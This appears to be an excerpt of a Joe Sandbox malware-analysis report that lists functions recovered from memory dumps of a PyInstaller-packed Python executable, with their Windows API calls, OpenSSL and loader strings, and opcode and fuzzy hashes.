Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: 00007C61208
String ID: ..\s\ssl\statem\extensions_srvr.c$D:\a\1\s\ssl\packet_local.h
API String ID: 3535234312-2178723975
Opcode ID: c0126a933966b586eb01444f1caf48306036ef3bd94800007dc601cda98a503f
Instruction ID: 2e7676422687676dfa7490dc353ab5bff81014f4ed3c363881a91af0b0a902eb
Opcode Fuzzy Hash: c0126a933966b586eb01444f1caf48306036ef3bd94800007dc601cda98a503f
Instruction Fuzzy Hash: BA12B172A0EAD1A5E7608F29E4487BE6BA1FB84BC4F046135DE9D87689DF7CD540CB00

Function 00007FF8B910B434 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206COMMON

Download Yara Rule

APIs

00007FF8A92E1B6D.LIBSSL-1_1 ref: 00007FF8B910B527

Strings

Cannot create a client socket with a PROTOCOL_TLS_SERVER context, xrefs: 00007FF8B910B4C1
Cannot create a server socket with a PROTOCOL_TLS_CLIENT context, xrefs: 00007FF8B910B47A

Memory Dump Source

Source File: 00000006.00000002.3010460517.00007FF8B9101000.00000040.00000001.01000000.00000015.sdmp, Offset: 00007FF8B9100000, based on PE: true

Associated: 00000006.00000002.3010325096.00007FF8B9100000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B911E000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B9128000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010843875.00007FF8B912B000.00000080.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010910842.00007FF8B912D000.00000004.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b9100000_D1UL0FG.jbxd

Similarity

API ID: 00007
String ID: Cannot create a client socket with a PROTOCOL_TLS_SERVER context$Cannot create a server socket with a PROTOCOL_TLS_CLIENT context
API String ID: 3568877910-1683031804
Opcode ID: b95670345501fec5c41356c3bb9ea749bfbd1fc0679f4d4f1cae1cc119d6eaae
Instruction ID: cce2403c55ed7aa83e792a4ca4f0675e09ee01a20aee0d02a125461569f88f08
Opcode Fuzzy Hash: b95670345501fec5c41356c3bb9ea749bfbd1fc0679f4d4f1cae1cc119d6eaae
Instruction Fuzzy Hash: 70913E75A08B8282EA649F2AE85413963A2FF88BD4F444175CB4E477B4CF3EE445E710

Function 00007FF67AED81C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67AED9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF67AED45E4,00000000,00007FF67AED1985), ref: 00007FF67AED9439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF67AED88A7,?,?,00000000,00007FF67AED3CBB), ref: 00007FF67AED821C

Part of subcall function 00007FF67AED2810: MessageBoxW.USER32 ref: 00007FF67AED28EA

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF67AED8363
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF67AED82C9
\, xrefs: 00007FF67AED8251
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF67AED8230
CreateDirectory, xrefs: 00007FF67AED836C
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF67AED828D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF67AED81F3
%.*s, xrefs: 00007FF67AED82FC

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 6fbdb188916104b0c2c5940302cfd80688c9116ecc918f500a0c860990a20752
Instruction ID: d0e97c873fbb4cc8c1bab014d2b7e853b1dfa67cc1ac6b105376c7bf38949823
Opcode Fuzzy Hash: 6fbdb188916104b0c2c5940302cfd80688c9116ecc918f500a0c860990a20752
Instruction Fuzzy Hash: C451D723A3D68285FB50BB24E8516BA6360EFD4784F544075E50EC66F5EE2CE505F740

Function 00007FF67AED2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF67AED21AB
SelectObject.GDI32 ref: 00007FF67AED21F2
DrawTextW.USER32 ref: 00007FF67AED2215
SelectObject.GDI32 ref: 00007FF67AED222B
ReleaseDC.USER32 ref: 00007FF67AED223B
MoveWindow.USER32 ref: 00007FF67AED228B
MoveWindow.USER32 ref: 00007FF67AED22CB
MoveWindow.USER32 ref: 00007FF67AED231E
MoveWindow.USER32 ref: 00007FF67AED2366

Strings

P%, xrefs: 00007FF67AED21FF

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: a011452b26be41af9b5d829c9c31bdf55d01aef9534cbb0a8b0f9f6a792587c8
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 5751C637614BA186D6249F26F4181BAB7A1F798B61F004125EBDE83694EF3CD085DB10

Function 00007FF8A8632700 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8A8632728
__scrt_initialize_crt.LIBCMT ref: 00007FF8A863276D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8A863277A
_RTC_Initialize.LIBCMT ref: 00007FF8A86327A8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8A86327CE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8A86327F9

Memory Dump Source

Source File: 00000006.00000002.3002205748.00007FF8A8631000.00000040.00000001.01000000.0000001A.sdmp, Offset: 00007FF8A8630000, based on PE: true

Associated: 00000006.00000002.3002160686.00007FF8A8630000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8694000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A86E3000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A873C000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8741000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8744000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002828639.00007FF8A8745000.00000080.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002876682.00007FF8A8747000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a8630000_D1UL0FG.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 1738fc931c46e0016abe01128f6c04fa9ae34eb026bf82ed76cd7c7c3c76c679
Instruction ID: b0d0faf367a404e344fffb3a77c0af06a984e134fcef86d2c03a5b1988caee03
Opcode Fuzzy Hash: 1738fc931c46e0016abe01128f6c04fa9ae34eb026bf82ed76cd7c7c3c76c679
Instruction Fuzzy Hash: 3581D561E0F243B6FA509B66A8492792291FF457C2F14B039DA6C57396DF3CE8458338

Function 00007FF67AEE6300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE6343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE6730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE69CC

Strings

f, xrefs: 00007FF67AEE6465
-, xrefs: 00007FF67AEE63D9
:, xrefs: 00007FF67AEE64FC
p, xrefs: 00007FF67AEE63F5
p, xrefs: 00007FF67AEE646D

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: dd4dde16f49b3cd1f81474439cfa99d0b263006a46247afb9f0efd89d0bf18e9
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 3312B373F2C14386FB207B14E1542B97792FB40750F844575E68A876E8DF3DE990AB02

Function 00007FF67AED2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2D63
MessageBoxW.USER32 ref: 00007FF67AED2D99

Strings

[PYI-%d:ERROR] , xrefs: 00007FF67AED2CA6
<FormatMessageW failed.>, xrefs: 00007FF67AED2D70
%ls: , xrefs: 00007FF67AED2D22
Error, xrefs: 00007FF67AED2D8C

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: b6a4aff4207acfc08c7b17e42b1ccb9ea619be30a6cd658304911a804c79d122
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction Fuzzy Hash: 9E31D233B18B4146E620BB25B8102AB66A5BFC8BC8F510136EF8DD3769EE3CD546D700

Function 00007FF67AEEB1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF67AEEB1CF
FlsGetValue.KERNEL32 ref: 00007FF67AEEB1E4
FlsSetValue.KERNEL32 ref: 00007FF67AEEB205
FlsSetValue.KERNEL32 ref: 00007FF67AEEB232
FlsSetValue.KERNEL32 ref: 00007FF67AEEB243
FlsSetValue.KERNEL32 ref: 00007FF67AEEB254
SetLastError.KERNEL32 ref: 00007FF67AEEB26F

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 64d992c46ee3b7395fe78fb810fe312dfe396e54660f00f57cdb80144ae96788
Instruction ID: b3dafb40df55a1660027b11f7531067e0e2004e04927585f42f1707e75534f3b
Opcode Fuzzy Hash: 64d992c46ee3b7395fe78fb810fe312dfe396e54660f00f57cdb80144ae96788
Instruction Fuzzy Hash: E721A423F3D24682FA547765665113D63425F487B0F4087B8D87EC76FADE2DB800A300

Function 00007FF67AEEB338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB347
FlsSetValue.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB37D
FlsSetValue.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB3AA
FlsSetValue.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB3BB
FlsSetValue.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB3CC
SetLastError.KERNEL32(?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA,?,?,?,?,00007FF67AEE71FF), ref: 00007FF67AEEB3E7

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 508bc4e8de0e80a19cd6daf9ed8871fa40715e6eab000f8b832e18dd1cfec2a0
Instruction ID: 3ea4bef323f937b941fbc38cf24f40855ece8a63cd2bf493774a51f5250fe4b0
Opcode Fuzzy Hash: 508bc4e8de0e80a19cd6daf9ed8871fa40715e6eab000f8b832e18dd1cfec2a0
Instruction Fuzzy Hash: 2B116023A3C68686FA547721A69213D63429F547B0F5487B4E87EC77F6EF7CA801A301

Function 00007FF8A92FA470 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 181COMMON

Download Yara Rule

APIs

00007FF8C6113440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8A92FA656
GetLastError.KERNEL32 ref: 00007FF8A92FA665

Strings

OPENSSL_DIR_read(&ctx, ', xrefs: 00007FF8A92FA694
..\s\ssl\ssl_cert.c, xrefs: 00007FF8A92FA67B, 00007FF8A92FA6B2, 00007FF8A92FA6E0, 00007FF8A92FA721
%s/%s, xrefs: 00007FF8A92FA528

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: 00007C6113440ErrorLast
String ID: %s/%s$..\s\ssl\ssl_cert.c$OPENSSL_DIR_read(&ctx, '
API String ID: 181156767-4291904164
Opcode ID: 43a2a23570172f1492d2df20069b1eec957ebead7fe1968015ea09c30e310cbe
Instruction ID: b1d0769b132fef581c79b9a27855d0dac18cf781c9968b90e214ad47086884f8
Opcode Fuzzy Hash: 43a2a23570172f1492d2df20069b1eec957ebead7fe1968015ea09c30e310cbe
Instruction Fuzzy Hash: 35718561A0EAC2A6FA60AF21D4117BD6270EFC5BC4F416031EA5D87B9EEF3CE4558704

Function 00007FF67AED2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF67AED23C8
DialogBoxIndirectParamW.USER32 ref: 00007FF67AED248E
DeleteObject.GDI32 ref: 00007FF67AED24C1
DestroyIcon.USER32 ref: 00007FF67AED24D3

Strings

Unhandled exception in script, xrefs: 00007FF67AED23F8

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: dd10c28d74256616f4f20b34f0e4914686707bcd8d030bd0fddff274f11205b5
Instruction ID: 1717989dcef1fe0b0ce6d70bb1669abe5fa85ad4e4ca767f3c6169505f7406a5
Opcode Fuzzy Hash: dd10c28d74256616f4f20b34f0e4914686707bcd8d030bd0fddff274f11205b5
Instruction Fuzzy Hash: 3E315E73628A8289EB60EB21F8552FA6360FF88784F544175EA4D8BB69DF3CD104D700

Function 00007FF67AED2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF67AED918F,?,00007FF67AED3C55), ref: 00007FF67AED2BA0
MessageBoxW.USER32 ref: 00007FF67AED2C2A

Strings

Warning, xrefs: 00007FF67AED2C1D
[PYI-%d:%ls] , xrefs: 00007FF67AED2BA8
WARNING, xrefs: 00007FF67AED2BAF

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: 22a8aeda325637f0f7a4286d6e2e49398fc0a6d64678d57fa4b50c052c19b07c
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: 1121AE73B28B8186E751AB64F8447AA63A4EB887C0F404136EA8D97669DE3CD645C740

Function 00007FF8B910A238 Relevance: 7.6, APIs: 5, Instructions: 125encryptionCOMMON

Download Yara Rule

APIs

00007FF8A8C4BB78.PYTHON310 ref: 00007FF8B910A255

Part of subcall function 00007FF8B910BE54: CertOpenStore.CRYPT32 ref: 00007FF8B910BE80

GetLastError.KERNEL32 ref: 00007FF8B910A286
CertEnumCRLsInStore.CRYPT32 ref: 00007FF8B910A30C
CertFreeCRLContext.CRYPT32 ref: 00007FF8B910A35B
CertCloseStore.CRYPT32 ref: 00007FF8B910A394

Memory Dump Source

Source File: 00000006.00000002.3010460517.00007FF8B9101000.00000040.00000001.01000000.00000015.sdmp, Offset: 00007FF8B9100000, based on PE: true

Associated: 00000006.00000002.3010325096.00007FF8B9100000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B911E000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B9128000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010843875.00007FF8B912B000.00000080.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010910842.00007FF8B912D000.00000004.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b9100000_D1UL0FG.jbxd

Similarity

API ID: Cert$Store$00007CloseContextEnumErrorFreeLastOpen
String ID:
API String ID: 966150261-0
Opcode ID: 2cdfd983aa13922406d2df9ffe571f540b64cb218aaa8b0ea8088b65d93e4175
Instruction ID: 7c37d2fc430b815fb899e90aa851a9377d227b734b22ae14243c29f484020ed9
Opcode Fuzzy Hash: 2cdfd983aa13922406d2df9ffe571f540b64cb218aaa8b0ea8088b65d93e4175
Instruction Fuzzy Hash: 38413025F0AB8282EA595F29A91913C33A0FF45BD0F4944B4DB0E4B7B4EF3EE445A310

Function 00007FF67AEF93D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF67AEF9400
_set_statfp.LIBCMT ref: 00007FF67AEF941B
_set_statfp.LIBCMT ref: 00007FF67AEF9437
_set_statfp.LIBCMT ref: 00007FF67AEF9473

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: bba2312b7da97a2eedaebef1015a100488629bdeb2adc4f0a40545f3c8225b86
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 35118273E7CA1301F6E43528F4963791054EF79364E044ABCFAEE866F68E2C69416D44

Function 00007FF67AEEB400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB41F
FlsSetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB43E
FlsSetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB466
FlsSetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB477
FlsSetValue.KERNEL32(?,?,?,00007FF67AEEA613,?,?,00000000,00007FF67AEEA8AE,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEB488

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
